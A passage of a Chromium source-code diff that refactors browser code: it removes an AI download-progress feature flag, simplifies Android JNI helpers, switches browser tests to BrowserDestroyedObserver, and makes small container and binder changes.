-    AITestUtils::MockComponentUpdateService component_update_service_;
     std::unique_ptr<optimization_guide::FakeModelBroker> fake_broker_;
     std::unique_ptr<optimization_guide::FakeAdaptationAsset> fake_asset_;
 
diff --git a/chrome/browser/ai/features.cc b/chrome/browser/ai/features.cc
index 4707ef7f..14bd2b8d 100644
--- a/chrome/browser/ai/features.cc
+++ b/chrome/browser/ai/features.cc
@@ -17,17 +17,4 @@
     &features::kAILanguageModelOverrideConfiguration,
     "ai_language_model_output_buffer", 1024};
 
-BASE_FEATURE(kAIModelUnloadableProgress,
-             "kAIModelUnloadableProgress",
-             base::FEATURE_ENABLED_BY_DEFAULT);
-
-// The number of bytes that won't load when reporting downloadprogress until
-// creation is completed.
-//
-// Calculated to occupy 10% of the loading bar when the model (currently
-// 3556255776 bytes) isn't downloaded.
-const base::FeatureParam<int> kAIModelUnloadableProgressBytes{
-    &features::kAIModelUnloadableProgress, "ai_model_unloadable_progress_bytes",
-    3556255776 / 9};
-
 }  // namespace features
diff --git a/chrome/browser/ai/features.h b/chrome/browser/ai/features.h
index 5beb6d04..7cb48ac 100644
--- a/chrome/browser/ai/features.h
+++ b/chrome/browser/ai/features.h
@@ -14,11 +14,6 @@
 extern const base::FeatureParam<int>
     kAILanguageModelOverrideConfigurationOutputBuffer;
 
-// When enabled some amount of bytes will not be loadable when creating one of
-// the built-in AI APIs.
-BASE_DECLARE_FEATURE(kAIModelUnloadableProgress);
-extern const base::FeatureParam<int> kAIModelUnloadableProgressBytes;
-
 }  // namespace features
 
 #endif  // CHROME_BROWSER_AI_FEATURES_H_
diff --git a/chrome/browser/android/tab_browser_controls_constraints_helper.cc b/chrome/browser/android/tab_browser_controls_constraints_helper.cc
index dab6446..9881e39 100644
--- a/chrome/browser/android/tab_browser_controls_constraints_helper.cc
+++ b/chrome/browser/android/tab_browser_controls_constraints_helper.cc
@@ -2,8 +2,6 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "chrome/browser/android/tab_browser_controls_constraints_helper.h"
-
 #include "cc/input/android/offset_tag_android.h"
 #include "cc/input/browser_controls_offset_tag_modifications.h"
 #include "cc/input/browser_controls_state.h"
@@ -17,21 +15,9 @@
 using base::android::AttachCurrentThread;
 using base::android::JavaRef;
 
-TabBrowserControlsConstraintsHelper::TabBrowserControlsConstraintsHelper(
+static void JNI_TabBrowserControlsConstraintsHelper_UpdateState(
     JNIEnv* env,
-    const JavaRef<jobject>& obj)
-    : jobj_(env, obj) {}
-
-TabBrowserControlsConstraintsHelper::~TabBrowserControlsConstraintsHelper() =
-    default;
-
-void TabBrowserControlsConstraintsHelper::OnDestroyed(JNIEnv* env) {
-  delete this;
-}
-
-void TabBrowserControlsConstraintsHelper::UpdateState(
-    JNIEnv* env,
-    const JavaRef<jobject>& jweb_contents,
+    content::WebContents* web_contents,
     int32_t constraints,
     int32_t current,
     bool animate,
@@ -41,7 +27,6 @@
   cc::BrowserControlsState current_state =
       static_cast<cc::BrowserControlsState>(current);
 
-  auto* web_contents = content::WebContents::FromJavaWebContents(jweb_contents);
   if (web_contents == nullptr) {
     return;
   }
@@ -53,11 +38,4 @@
                                            animate, offset_tag_modifications);
 }
 
-static int64_t JNI_TabBrowserControlsConstraintsHelper_Init(
-    JNIEnv* env,
-    const JavaRef<jobject>& obj) {
-  return reinterpret_cast<intptr_t>(
-      new TabBrowserControlsConstraintsHelper(env, obj));
-}
-
 DEFINE_JNI(TabBrowserControlsConstraintsHelper)
diff --git a/chrome/browser/android/tab_browser_controls_constraints_helper.h b/chrome/browser/android/tab_browser_controls_constraints_helper.h
deleted file mode 100644
index 4b6c72ca..0000000
--- a/chrome/browser/android/tab_browser_controls_constraints_helper.h
+++ /dev/null
@@ -1,31 +0,0 @@
-// Copyright 2019 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CHROME_BROWSER_ANDROID_TAB_BROWSER_CONTROLS_CONSTRAINTS_HELPER_H_
-#define CHROME_BROWSER_ANDROID_TAB_BROWSER_CONTROLS_CONSTRAINTS_HELPER_H_
-
-#include "base/android/scoped_java_ref.h"
-
-// Dispatches changes to the browser controls constraints for a given tab.
-class TabBrowserControlsConstraintsHelper {
- public:
-  TabBrowserControlsConstraintsHelper(
-      JNIEnv* env,
-      const base::android::JavaRef<jobject>& obj);
-  ~TabBrowserControlsConstraintsHelper();
-
-  void UpdateState(
-      JNIEnv* env,
-      const base::android::JavaRef<jobject>& jweb_contents,
-      int32_t constraints,
-      int32_t current,
-      bool animate,
-      const base::android::JavaRef<jobject>& joffset_tag_modifications);
-  void OnDestroyed(JNIEnv* env);
-
- private:
-  base::android::ScopedJavaGlobalRef<jobject> jobj_;
-};
-
-#endif  // CHROME_BROWSER_ANDROID_TAB_BROWSER_CONTROLS_CONSTRAINTS_HELPER_H_
diff --git a/chrome/browser/android/trusted_cdn.cc b/chrome/browser/android/trusted_cdn.cc
index e69f147..1b627cd 100644
--- a/chrome/browser/android/trusted_cdn.cc
+++ b/chrome/browser/android/trusted_cdn.cc
@@ -23,8 +23,7 @@
 using base::android::ScopedJavaLocalRef;
 using content::WebContents;
 
-TrustedCdn::TrustedCdn(JNIEnv* env, const JavaRef<jobject>& obj)
-    : jobj_(env, obj) {}
+TrustedCdn::TrustedCdn() = default;
 
 TrustedCdn::~TrustedCdn() = default;
 
@@ -57,8 +56,8 @@
       embedder_support::GetPublisherURL(web_contents_->GetPrimaryMainFrame()));
 }
 
-static int64_t JNI_TrustedCdn_Init(JNIEnv* env, const JavaRef<jobject>& obj) {
-  return reinterpret_cast<intptr_t>(new TrustedCdn(env, obj));
+static int64_t JNI_TrustedCdn_Init(JNIEnv* env) {
+  return reinterpret_cast<intptr_t>(new TrustedCdn());
 }
 
 DEFINE_JNI(TrustedCdn)
diff --git a/chrome/browser/android/trusted_cdn.h b/chrome/browser/android/trusted_cdn.h
index dc8864f..c09e014 100644
--- a/chrome/browser/android/trusted_cdn.h
+++ b/chrome/browser/android/trusted_cdn.h
@@ -12,7 +12,7 @@
 // Native part of Trusted CDN publisher URL provider. Managed by Java layer.
 class TrustedCdn {
  public:
-  TrustedCdn(JNIEnv* env, const base::android::JavaRef<jobject>& obj);
+  TrustedCdn();
   ~TrustedCdn();
 
   void SetWebContents(JNIEnv* env,
@@ -22,7 +22,6 @@
   base::android::ScopedJavaLocalRef<jobject> GetPublisherUrl(JNIEnv* env);
 
  private:
-  base::android::ScopedJavaGlobalRef<jobject> jobj_;
   raw_ptr<content::WebContents> web_contents_;
 };
 
diff --git a/chrome/browser/app_controller_mac_browsertest.mm b/chrome/browser/app_controller_mac_browsertest.mm
index 39b684c..a12d27b 100644
--- a/chrome/browser/app_controller_mac_browsertest.mm
+++ b/chrome/browser/app_controller_mac_browsertest.mm
@@ -772,8 +772,9 @@
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 1u);
   // Close the current browser.
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   // Create an incognito browser and check that it is the last active browser.
   Browser* incognito_browser = CreateIncognitoBrowser(profile);
@@ -851,8 +852,9 @@
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 1u);
   // Close the current non-incognito browser.
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   // Force incognito mode.
   IncognitoModePrefs::SetAvailability(
@@ -884,8 +886,9 @@
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 1u);
   // Close the current non-incognito browser.
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   // Force incognito mode.
   IncognitoModePrefs::SetAvailability(
@@ -1228,8 +1231,9 @@
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 1u);
   // Close the current non-incognito browser.
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   // Force incognito mode.
   IncognitoModePrefs::SetAvailability(
diff --git a/chrome/browser/app_controller_mac_interactive_uitest.mm b/chrome/browser/app_controller_mac_interactive_uitest.mm
index 412893a..3f34935 100644
--- a/chrome/browser/app_controller_mac_interactive_uitest.mm
+++ b/chrome/browser/app_controller_mac_interactive_uitest.mm
@@ -138,8 +138,9 @@
 
   // Close the current browser.
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_FALSE(GetLastActiveBrowserWindowInterfaceWithAnyProfile());
 
   // Create an incognito browser.
diff --git a/chrome/browser/apps/link_capturing/navigation_capturing_settings_cros_impl.cc b/chrome/browser/apps/link_capturing/navigation_capturing_settings_cros_impl.cc
index 8c206293..ecdc465 100644
--- a/chrome/browser/apps/link_capturing/navigation_capturing_settings_cros_impl.cc
+++ b/chrome/browser/apps/link_capturing/navigation_capturing_settings_cros_impl.cc
@@ -43,18 +43,10 @@
 std::optional<webapps::AppId>
 NavigationCapturingSettingsCrosImpl::GetCapturingWebAppForUrl(const GURL& url) {
   if (url.SchemeIs(webapps::kIsolatedAppScheme)) {
-    auto& registrar =
-        WebAppProvider::GetForWebApps(&profile_.get())->registrar_unsafe();
-
-    // Try handling navigation in an isolated sub app or a regular isolated app.
-    std::optional<webapps::AppId> sub_app_handling_navigation =
-        registrar.FindBestAppWithUrlInScope(url,
+    return WebAppProvider::GetForWebApps(&profile_.get())
+        ->registrar_unsafe()
+        .FindBestAppWithUrlInScope(url, WebAppFilter::IsIsolatedApp() |
                                             WebAppFilter::IsIsolatedSubApp());
-    if (sub_app_handling_navigation.has_value()) {
-      return sub_app_handling_navigation;
-    }
-    return registrar.FindBestAppWithUrlInScope(url,
-                                               WebAppFilter::IsIsolatedApp());
   }
 
   if (!apps::AppServiceProxyFactory::IsAppServiceAvailableForProfile(
diff --git a/chrome/browser/ash/arc/session/arc_session_manager.cc b/chrome/browser/ash/arc/session/arc_session_manager.cc
index b8d5e68d..2527d76 100644
--- a/chrome/browser/ash/arc/session/arc_session_manager.cc
+++ b/chrome/browser/ash/arc/session/arc_session_manager.cc
@@ -526,7 +526,6 @@
       android_management_checker_factory_(
           ArcRequirementChecker::GetDefaultAndroidManagementCheckerFactory()),
       arc_dlc_installer_(arc_dlc_installer),
-      attempt_user_exit_callback_(base::BindRepeating(chrome::AttemptUserExit)),
       attempt_restart_callback_(base::BindRepeating(chrome::AttemptRestart)) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
   DCHECK(!g_arc_session_manager);
@@ -1982,12 +1981,6 @@
   return arc_session_runner_.get();
 }
 
-void ArcSessionManager::SetAttemptUserExitCallbackForTesting(
-    const base::RepeatingClosure& callback) {
-  DCHECK(!callback.is_null());
-  attempt_user_exit_callback_ = callback;
-}
-
 void ArcSessionManager::SetAttemptRestartCallbackForTesting(
     const base::RepeatingClosure& callback) {
   DCHECK(!callback.is_null());
diff --git a/chrome/browser/ash/arc/session/arc_session_manager.h b/chrome/browser/ash/arc/session/arc_session_manager.h
index 7c67d129..0401289 100644
--- a/chrome/browser/ash/arc/session/arc_session_manager.h
+++ b/chrome/browser/ash/arc/session/arc_session_manager.h
@@ -349,8 +349,6 @@
   void SetArcSessionRunnerForTesting(
       std::unique_ptr<ArcSessionRunner> arc_session_runner);
   ArcSessionRunner* GetArcSessionRunnerForTesting();
-  void SetAttemptUserExitCallbackForTesting(
-      const base::RepeatingClosure& callback);
   void SetAttemptRestartCallbackForTesting(
       const base::RepeatingClosure& callback);
   void SetAndroidManagementCheckerFactoryForTesting(
@@ -619,8 +617,6 @@
   };
   std::optional<UserSessionStartUpTaskTimer> user_session_start_up_task_timer_;
 
-  base::RepeatingClosure attempt_user_exit_callback_;
-
   base::RepeatingClosure attempt_restart_callback_;
 
   ArcAppIdProviderImpl app_id_provider_;
diff --git a/chrome/browser/ash/arc/session/arc_session_manager_unittest.cc b/chrome/browser/ash/arc/session/arc_session_manager_unittest.cc
index 125ba57..fb07359 100644
--- a/chrome/browser/ash/arc/session/arc_session_manager_unittest.cc
+++ b/chrome/browser/ash/arc/session/arc_session_manager_unittest.cc
@@ -2070,21 +2070,11 @@
   arc_session_manager()->RequestEnable();
   EXPECT_EQ(ArcSessionManager::State::ACTIVE, arc_session_manager()->state());
 
-  // Replace chrome::AttemptUserExit() for testing.
-  // At the end of test, leave the dangling pointer |terminated|,
-  // assuming the callback is never invoked in OnProvisioningFinished()
-  // and not invoked then, including TearDown().
-  bool terminated = false;
-  arc_session_manager()->SetAttemptUserExitCallbackForTesting(
-      base::BindRepeating([](bool* terminated) { *terminated = true; },
-                          &terminated));
-
   arc::mojom::ArcSignInResultPtr result = arc::mojom::ArcSignInResult::NewError(
       arc::mojom::ArcSignInError::NewGeneralError(
           arc::mojom::GeneralSignInError::CHROME_SERVER_COMMUNICATION_ERROR));
   arc_session_manager()->OnProvisioningFinished(
       ArcProvisioningResult(std::move(result)));
-  EXPECT_FALSE(terminated);
   EXPECT_EQ(ArcSessionManager::State::ACTIVE, arc_session_manager()->state());
 }
 
diff --git a/chrome/browser/ash/boca/on_task/on_task_session_manager_browsertest.cc b/chrome/browser/ash/boca/on_task/on_task_session_manager_browsertest.cc
index 6918a2f9..c392750 100644
--- a/chrome/browser/ash/boca/on_task/on_task_session_manager_browsertest.cc
+++ b/chrome/browser/ash/boca/on_task/on_task_session_manager_browsertest.cc
@@ -980,9 +980,10 @@
   ASSERT_TRUE(
       OnTaskLockedController::From(boca_app_browser)->is_locked_for_on_task());
   // End the session.
+  ui_test_utils::BrowserDestroyedObserver observer(boca_app_browser);
   GetOnTaskSessionManager()->OnSessionEnded(kSessionId);
   // Wait until the browser actually gets closed.
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   VerifyNotificationShown(kOnTaskSessionEndNotificationId, true);
   VerifyNotificationShown(kOnTaskBundleContentAddedNotificationId, false);
   VerifyNotificationShown(kOnTaskBundleContentRemovedNotificationId, false);
diff --git a/chrome/browser/ash/crosapi/crosapi_ash.cc b/chrome/browser/ash/crosapi/crosapi_ash.cc
index f5ee5a2..f267f2b 100644
--- a/chrome/browser/ash/crosapi/crosapi_ash.cc
+++ b/chrome/browser/ash/crosapi/crosapi_ash.cc
@@ -211,12 +211,6 @@
   probe_service_ash_->BindReceiver(std::move(receiver));
 }
 
-void CrosapiAsh::BindVideoCaptureDeviceFactory(
-    mojo::PendingReceiver<mojom::VideoCaptureDeviceFactory> receiver) {
-  content::GetVideoCaptureService().BindVideoCaptureDeviceFactory(
-      std::move(receiver));
-}
-
 void CrosapiAsh::OnDisconnected() {
   auto it = disconnect_handler_map_.find(receiver_set_.current_receiver());
   if (it == disconnect_handler_map_.end()) {
diff --git a/chrome/browser/ash/crosapi/crosapi_ash.h b/chrome/browser/ash/crosapi/crosapi_ash.h
index f6aef6b..7995682a 100644
--- a/chrome/browser/ash/crosapi/crosapi_ash.h
+++ b/chrome/browser/ash/crosapi/crosapi_ash.h
@@ -100,9 +100,6 @@
       override;
   void BindTelemetryProbeService(
       mojo::PendingReceiver<mojom::TelemetryProbeService> receiver) override;
-  void BindVideoCaptureDeviceFactory(
-      mojo::PendingReceiver<mojom::VideoCaptureDeviceFactory> receiver)
-      override;
 
   DocumentScanAsh* document_scan_ash() { return document_scan_ash_.get(); }
 
diff --git a/chrome/browser/ash/login/security_token_session_controller.cc b/chrome/browser/ash/login/security_token_session_controller.cc
index 2f91560..412772ac 100644
--- a/chrome/browser/ash/login/security_token_session_controller.cc
+++ b/chrome/browser/ash/login/security_token_session_controller.cc
@@ -162,12 +162,11 @@
       continue;
 
     extension_ids->insert(challenge_response_key.extension_id);
-    if (!extension_to_spkis->contains(challenge_response_key.extension_id)) {
-      (*extension_to_spkis)[challenge_response_key.extension_id] = {};
-    }
-    if (!challenge_response_key.public_key_spki_der.empty()) {
-      (*extension_to_spkis)[challenge_response_key.extension_id].push_back(
-          challenge_response_key.public_key_spki_der);
+    if (auto it =
+            extension_to_spkis->try_emplace(challenge_response_key.extension_id)
+                .first;
+        !challenge_response_key.public_key_spki_der.empty()) {
+      it->second.push_back(challenge_response_key.public_key_spki_der);
     }
   }
 }
@@ -254,19 +253,20 @@
   if (!observed_extensions_.contains(extension_id))
     return;
 
-  if (extension_to_spkis_[extension_id].empty())
+  auto& expected_spkis = extension_to_spkis_[extension_id];
+  if (expected_spkis.empty()) {
     return;
+  }
 
   bool extension_provides_all_required_certificates = true;
 
   std::vector<std::string> provided_spki_vector;
+  provided_spki_vector.reserve(certificate_infos.size());
   for (auto certificate_info : certificate_infos) {
     provided_spki_vector.emplace_back(
         GetSubjectPublicKeyInfo(*certificate_info.certificate.get()));
   }
-  base::flat_set<std::string> provided_spkis(provided_spki_vector.begin(),
-                                             provided_spki_vector.end());
-  auto& expected_spkis = extension_to_spkis_[extension_id];
+  base::flat_set<std::string> provided_spkis(std::move(provided_spki_vector));
   for (const auto& expected_spki : expected_spkis) {
     if (!provided_spkis.contains(expected_spki)) {
       extension_provides_all_required_certificates = false;
diff --git a/chrome/browser/ash/policy/core/device_local_account.cc b/chrome/browser/ash/policy/core/device_local_account.cc
index e667f5b..305663e 100644
--- a/chrome/browser/ash/policy/core/device_local_account.cc
+++ b/chrome/browser/ash/policy/core/device_local_account.cc
@@ -8,7 +8,6 @@
 
 #include <memory>
 #include <optional>
-#include <set>
 #include <utility>
 
 #include "base/logging.h"
@@ -21,6 +20,7 @@
 #include "components/account_id/account_id.h"
 #include "components/user_manager/user_names.h"
 #include "google_apis/gaia/gaia_auth_util.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_set.h"
 
 namespace policy {
 
@@ -160,7 +160,7 @@
     return accounts;
   }
 
-  std::set<std::string> account_ids;
+  absl::flat_hash_set<std::string> account_ids;
   for (size_t i = 0; i < list->size(); ++i) {
     const base::Value& entry = (*list)[i];
     if (!entry.is_dict()) {
diff --git a/chrome/browser/ash/policy/core/device_local_account_browsertest.cc b/chrome/browser/ash/policy/core/device_local_account_browsertest.cc
index 7f7bbf0..7ab5bd4 100644
--- a/chrome/browser/ash/policy/core/device_local_account_browsertest.cc
+++ b/chrome/browser/ash/policy/core/device_local_account_browsertest.cc
@@ -505,11 +505,13 @@
     }
   }
 
-  // Waits for the Browser to close and its NativeWidget to be destroyed.
-  void WaitForBrowserDestruction(Browser* browser) {
+  // Closes the Browser and waits for it to be destroyed.
+  void CloseBrowserAndVerifyDestruction(BrowserWindowInterface* browser) {
+    ui_test_utils::BrowserDestroyedObserver observer(browser);
     aura::test::WindowDestroyedWaiter waiter(
-        browser->window()->GetNativeWindow());
-    ui_test_utils::WaitForBrowserToClose(browser);
+        browser->GetWindow()->GetNativeWindow());
+    browser->GetWindow()->Close();
+    observer.Wait();
     waiter.Wait();
   }
 
@@ -1603,11 +1605,8 @@
   BrowserWindowInterface* browser =
       GetLastActiveBrowserWindowInterfaceWithAnyProfile();
   ASSERT_TRUE(browser);
-  ui::BaseWindow* browser_window = browser->GetWindow();
-  ASSERT_TRUE(browser_window);
-  browser_window->Close();
-  WaitForBrowserDestruction(browser->GetBrowserForMigrationOnly());
-  browser_window = nullptr;
+  CloseBrowserAndVerifyDestruction(browser);
+  browser = nullptr;
   EXPECT_FALSE(GetLastActiveBrowserWindowInterfaceWithAnyProfile());
 
   // Verify that the logout confirmation dialog is not showing because an app
@@ -1634,11 +1633,7 @@
   EXPECT_EQ(2U, chrome::GetTotalBrowserCount());
 
   // Close the first browser window.
-  browser_window = first_browser->GetWindow();
-  ASSERT_TRUE(browser_window);
-  browser_window->Close();
-  WaitForBrowserDestruction(first_browser->GetBrowserForMigrationOnly());
-  browser_window = nullptr;
+  CloseBrowserAndVerifyDestruction(first_browser);
   first_browser = nullptr;
   EXPECT_EQ(1U, chrome::GetTotalBrowserCount());
 
@@ -1647,11 +1642,7 @@
   EXPECT_FALSE(IsLogoutConfirmationDialogShowing());
 
   // Close the second browser window.
-  browser_window = second_browser->GetWindow();
-  ASSERT_TRUE(browser_window);
-  browser_window->Close();
-  WaitForBrowserDestruction(second_browser->GetBrowserForMigrationOnly());
-  browser_window = nullptr;
+  CloseBrowserAndVerifyDestruction(second_browser);
   second_browser = nullptr;
   EXPECT_FALSE(GetLastActiveBrowserWindowInterfaceWithAnyProfile());
 
@@ -1669,11 +1660,7 @@
   EXPECT_EQ(1U, chrome::GetTotalBrowserCount());
 
   // Close the browser window.
-  browser_window = browser->GetWindow();
-  ASSERT_TRUE(browser_window);
-  browser_window->Close();
-  WaitForBrowserDestruction(browser->GetBrowserForMigrationOnly());
-  browser_window = nullptr;
+  CloseBrowserAndVerifyDestruction(browser);
   browser = nullptr;
   EXPECT_FALSE(GetLastActiveBrowserWindowInterfaceWithAnyProfile());
 
diff --git a/chrome/browser/ash/policy/status_collector/enterprise_activity_storage.cc b/chrome/browser/ash/policy/status_collector/enterprise_activity_storage.cc
index 8ac0761..d7ebef9 100644
--- a/chrome/browser/ash/policy/status_collector/enterprise_activity_storage.cc
+++ b/chrome/browser/ash/policy/status_collector/enterprise_activity_storage.cc
@@ -57,12 +57,12 @@
     if (user_email.empty() || !reporting_users_set.contains(user_email)) {
       for (const auto& activity : activity_periods) {
         const auto& day_key = activity.start_timestamp();
-        if (unreported_activities.count(day_key) == 0) {
-          unreported_activities[day_key] = activity;
+        if (auto [it, inserted] = unreported_activities.try_emplace(day_key);
+            inserted) {
+          it->second = activity;
         } else {
           long duration = activity.end_timestamp() - activity.start_timestamp();
-          unreported_activities[day_key].set_end_timestamp(
-              unreported_activities[day_key].end_timestamp() + duration);
+          it->second.set_end_timestamp(it->second.end_timestamp() + duration);
         }
       }
     } else {
diff --git a/chrome/browser/ash/system_web_apps/apps/diagnostics_app_integration_browsertest.cc b/chrome/browser/ash/system_web_apps/apps/diagnostics_app_integration_browsertest.cc
index 9a09196..4e0e1967 100644
--- a/chrome/browser/ash/system_web_apps/apps/diagnostics_app_integration_browsertest.cc
+++ b/chrome/browser/ash/system_web_apps/apps/diagnostics_app_integration_browsertest.cc
@@ -101,8 +101,9 @@
 
   // Find system browser for diagnostics and close it to trigger usage metrics.
   EXPECT_TRUE(ash::IsSystemWebApp(system_app_browser));
+  ui_test_utils::BrowserDestroyedObserver observer(system_app_browser);
   chrome::CloseWindow(system_app_browser);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   histogram_tester_.ExpectBucketCount(kDiagnosticsUmaFeatureFullPath,
                                       kUsedWithSuccess, 1);
diff --git a/chrome/browser/ash/system_web_apps/apps/help_app/help_app_integration_browsertest.cc b/chrome/browser/ash/system_web_apps/apps/help_app/help_app_integration_browsertest.cc
index d05e003..e3d6bd3 100644
--- a/chrome/browser/ash/system_web_apps/apps/help_app/help_app_integration_browsertest.cc
+++ b/chrome/browser/ash/system_web_apps/apps/help_app/help_app_integration_browsertest.cc
@@ -399,14 +399,16 @@
                 prefs::kReleaseNotesSuggestionChipTimesLeftToShow),
             0);
 
-  Browser* browser = chrome::FindBrowserWithTab(web_contents);
+  BrowserWindowInterface* help_app_browser =
+      chrome::FindBrowserWithTab(web_contents);
+  ui_test_utils::BrowserDestroyedObserver observer(help_app_browser);
   // Close the web contents we just created to simulate what would happen in
   // production with a background page. This helps us ensure that our
   // notification shows up and can be interacted with even after the web ui
   // that triggered it has died.
   web_contents->Close();
   // Wait until the browser with the web contents closes.
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   // Assert that the notification really is there.
   auto notifications = display_service->GetDisplayedNotificationsForType(
       NotificationHandler::Type::TRANSIENT);
@@ -900,8 +902,9 @@
 
     // The Help app renderer process crashed. Close the browser window so that
     // we can relaunch it in another browser window.
+    ui_test_utils::BrowserDestroyedObserver observer(help_app_browser);
     chrome::CloseWindow(help_app_browser);
-    ui_test_utils::WaitForBrowserToClose(help_app_browser);
+    observer.Wait();
 
     // There should only be 1 regular browser.
     EXPECT_EQ(1u, chrome::GetTotalBrowserCount());
diff --git a/chrome/browser/ash/system_web_apps/apps/personalization_app/personalization_app_user_provider_impl_unittest.cc b/chrome/browser/ash/system_web_apps/apps/personalization_app/personalization_app_user_provider_impl_unittest.cc
index 0819457..2b5c2498 100644
--- a/chrome/browser/ash/system_web_apps/apps/personalization_app/personalization_app_user_provider_impl_unittest.cc
+++ b/chrome/browser/ash/system_web_apps/apps/personalization_app/personalization_app_user_provider_impl_unittest.cc
@@ -166,10 +166,6 @@
       mojo::PendingReceiver<cros::mojom::CameraAppDeviceBridge> receiver)
       override {}
 
-  void BindVideoCaptureDeviceFactory(
-      mojo::PendingReceiver<crosapi::mojom::VideoCaptureDeviceFactory> receiver)
-      override {}
-
   void ConnectToVideoSourceProvider(
       mojo::PendingReceiver<video_capture::mojom::VideoSourceProvider> receiver)
       override {
diff --git a/chrome/browser/background/glic/glic_background_mode_manager_interactive_uitest.cc b/chrome/browser/background/glic/glic_background_mode_manager_interactive_uitest.cc
index e0fb5f00..97ede41 100644
--- a/chrome/browser/background/glic/glic_background_mode_manager_interactive_uitest.cc
+++ b/chrome/browser/background/glic/glic_background_mode_manager_interactive_uitest.cc
@@ -305,10 +305,11 @@
 
   // Delete the first profile and the glic launcher should not be in the
   // background since there are no profiles that are eligible to use glic.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   profile_manager->GetDeleteProfileHelper().MaybeScheduleProfileForDeletion(
       browser()->profile()->GetPath(), base::DoNothing(),
       ProfileMetrics::DELETE_PROFILE_USER_MANAGER);
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_FALSE(background_mode_manager->IsInBackgroundModeForTesting());
   EXPECT_TRUE(g_browser_process->local_state()->GetBoolean(
       prefs::kGlicLauncherEnabled));
diff --git a/chrome/browser/chrome_browser_interface_binders.cc b/chrome/browser/chrome_browser_interface_binders.cc
index cfe33d80..3e072fb6 100644
--- a/chrome/browser/chrome_browser_interface_binders.cc
+++ b/chrome/browser/chrome_browser_interface_binders.cc
@@ -12,6 +12,7 @@
 #include "build/chromeos_buildflags.h"
 #include "chrome/browser/accessibility/accessibility_labels_service.h"
 #include "chrome/browser/accessibility/accessibility_labels_service_factory.h"
+#include "chrome/browser/actor/actor_script_tool_receiver.h"
 #include "chrome/browser/buildflags.h"
 #include "chrome/browser/dom_distiller/dom_distiller_service_factory.h"
 #include "chrome/browser/navigation_predictor/navigation_predictor.h"
@@ -438,6 +439,9 @@
     content::RenderFrameHost* render_frame_host) {
   map->Add<image_annotation::mojom::Annotator>(&BindImageAnnotator);
 
+  map->Add<blink::mojom::ScriptToolHost>(
+      &actor::ActorScriptToolReceiver::Create);
+
   map->Add<blink::mojom::AnchorElementMetricsHost>(
       &NavigationPredictor::Create);
 
diff --git a/chrome/browser/chrome_content_browser_client.cc b/chrome/browser/chrome_content_browser_client.cc
index 9898ac1b..fd3fa00 100644
--- a/chrome/browser/chrome_content_browser_client.cc
+++ b/chrome/browser/chrome_content_browser_client.cc
@@ -8620,8 +8620,7 @@
   if (!context_user_data->GetUserData(kAIManagerUserDataKey)) {
     context_user_data->SetUserData(
         kAIManagerUserDataKey,
-        std::make_unique<AIManager>(
-            browser_context, g_browser_process->component_updater(), rfh));
+        std::make_unique<AIManager>(browser_context, rfh));
   }
 
   AIManager* ai_manager = static_cast<AIManager*>(
diff --git a/chrome/browser/chromeos/extensions/login_screen/login/cleanup/browser_cleanup_handler_browsertest.cc b/chrome/browser/chromeos/extensions/login_screen/login/cleanup/browser_cleanup_handler_browsertest.cc
index cacf125..3e56dcf 100644
--- a/chrome/browser/chromeos/extensions/login_screen/login/cleanup/browser_cleanup_handler_browsertest.cc
+++ b/chrome/browser/chromeos/extensions/login_screen/login/cleanup/browser_cleanup_handler_browsertest.cc
@@ -130,9 +130,10 @@
   ASSERT_TRUE(embedded_test_server()->Start());
 
   OpenNewBrowserPage("/simple.html", WindowOpenDisposition::CURRENT_TAB);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(GetActiveUserProfile(),
                                       /*skip_beforeunload=*/true);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   ASSERT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   ASSERT_EQ(1, GetHistorySize());
diff --git a/chrome/browser/contextual_tasks/BUILD.gn b/chrome/browser/contextual_tasks/BUILD.gn
index 75e9a9ea..926b971 100644
--- a/chrome/browser/contextual_tasks/BUILD.gn
+++ b/chrome/browser/contextual_tasks/BUILD.gn
@@ -105,7 +105,6 @@
       "//chrome/browser/ui:browser_list",
       "//chrome/browser/ui/tabs:tab_list_interface",
       "//chrome/browser/ui/tabs:tab_strip",
-      "//components/contextual_search:public",
       "//components/optimization_guide/core:model_execution",
       "//components/optimization_guide/proto:optimization_guide_proto",
       "//components/url_deduplication",
@@ -114,19 +113,21 @@
 }
 
 source_set("ui") {
-  sources = [ "contextual_tasks_page_handler.h" ]
+  sources = [
+    "contextual_tasks_internals_page_handler.h",
